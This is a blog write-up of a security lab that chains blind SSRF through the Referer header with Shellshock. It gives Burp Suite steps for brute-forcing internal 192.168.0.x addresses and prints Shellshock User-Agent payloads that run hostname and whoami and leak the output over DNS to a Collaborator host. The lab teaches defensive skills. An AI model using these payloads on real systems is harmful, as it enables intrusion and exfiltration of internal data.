Blind SSRF with Shellshock Exploitation
Exploit Internal Servers via Referer Header Injection.
Blind SSRF with Shellshock Exploitation
Exploit Internal Servers via Referer Header Injection.
🔓 **Free Link**
Blind SSRF with Shellshock Exploitation
Table of Contents
Summary of the Vulnerability
Blind Server-Side Request Forgery (SSRF) occurs when an application allows attackers to trigger HTTP requests from the server to internal or external resources without directly exposing the responses.
In this lab, the target site uses analytics software that fetches URLs specified in the **Referer** header when a product page is loaded.
The core vulnerability arises because the application blindly processes user-controlled **Referer headers, allowing an attacker to initiate requests to internal systems within the `192.168.0.x`** range.
The lab extends this SSRF scenario by introducing Shellshock, a historical vulnerability in Bash that allows arbitrary code execution when a specially crafted environment variable is parsed.
The attacker’s goal is twofold:
- first, identify which internal server responds to the SSRF by brute-forcing the last octet of IP addresses
- second, inject a Shellshock payload into the
**User-Agent** header to exfiltrate the operating system user account.
By monitoring the Burp Collaborator server for callbacks, the attacker can capture sensitive internal information that would otherwise be inaccessible from the external network.
Proof of Concept (PoC)
Steps to Reproduce
1. Open the Lab and Capture a Product Request
- Open any product page on the target application.
- Switch to Burp Suite → HTTP history.
- Locate the request corresponding to the product page.
- Right-click the request and select Send to Repeater.
2. Confirm the Blind SSRF Vector
- In Repeater, modify the
**Refererheader to point to your Burp Collaborator** URL. - To obtain the Collaborator URL:
- Navigate to the Collaborator tab.
- Click Copy to clipboard.
- Send the modified request.
- Wait a few seconds and observe interactions in the Collaborator tab.
- Confirm that the server initiates DNS and HTTP requests to your Collaborator.
- Verify that the User-Agent header is reflected unchanged from your original request.
- This confirms that the internal server processes attacker-controlled headers.
3. Prepare the Shellshock Payload
- Since the internal service is vulnerable to Shellshock, inject the payload via the
**User-Agent** header. - Use the following payload format to trigger command execution:
User-Agent: () { :; }; /bin/nslookup `hostname`.<unique-id>.oastify.com- This payload attempts to exfiltrate the internal system hostname via DNS.
4. Brute-Force the Internal IP Address
- The exact internal IP is unknown, so brute-force the final octet of the
**192.168.0.X** range. - In Repeater, right-click the request and select Send to Intruder.
- Configure the request:
- Set the Referer header to http://192.168.0.$x$:8080
- Highlight the last octet and click Add §.- Configure Intruder:
- Payload type: Numbers
- Range: 1–255
- Start the attack.
- The Intruder results will not display meaningful responses due to the blind nature of the SSRF.
- Switch back to the Collaborator tab.
- Observe incoming DNS interactions from an internal host.
- Confirm that the hostname is leaked in the subdomain.
5. Extract the OS Username
- Update the payload to execute the
**whoamicommand instead of `hostname`**:
User-Agent: () { :; }; /bin/nslookup `whoami`.<unique-id>.oastify.com- Resend the request using the same Intruder configuration.
- Check the Collaborator interactions again.
- Extract the operating system username from the DNS query.
- Return to the lab interface.
- Submit the captured username as the solution.
Impact
- Exploiting Shellshock through SSRF can result in the disclosure of the operating system’s user and hostname.
- Attackers can map internal networks, allowing them to discover other services and configurations.
📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:
- 📖 Medium: bashoverflow.medium.com
- 🐦 Twitter / X: @_havij
- </> Github: havij13
- ☕ Coffee: Ko-fi
🙏Your support is appreciated.
메타데이터
- post_id
- be7406ec3e26
- slug
- blind-ssrf-with-shellshock-exploitation-be7406ec3e26
- url
- https://meetcyber.net/blind-ssrf-with-shellshock-exploitation-be7406ec3e26
- canonical_url
- https://meetcyber.net/blind-ssrf-with-shellshock-exploitation-be7406ec3e26
- author_url
- https://medium.com/@bashoverflow
- status
- ok
- fetched_at
- 2026-06-09 15:37:30
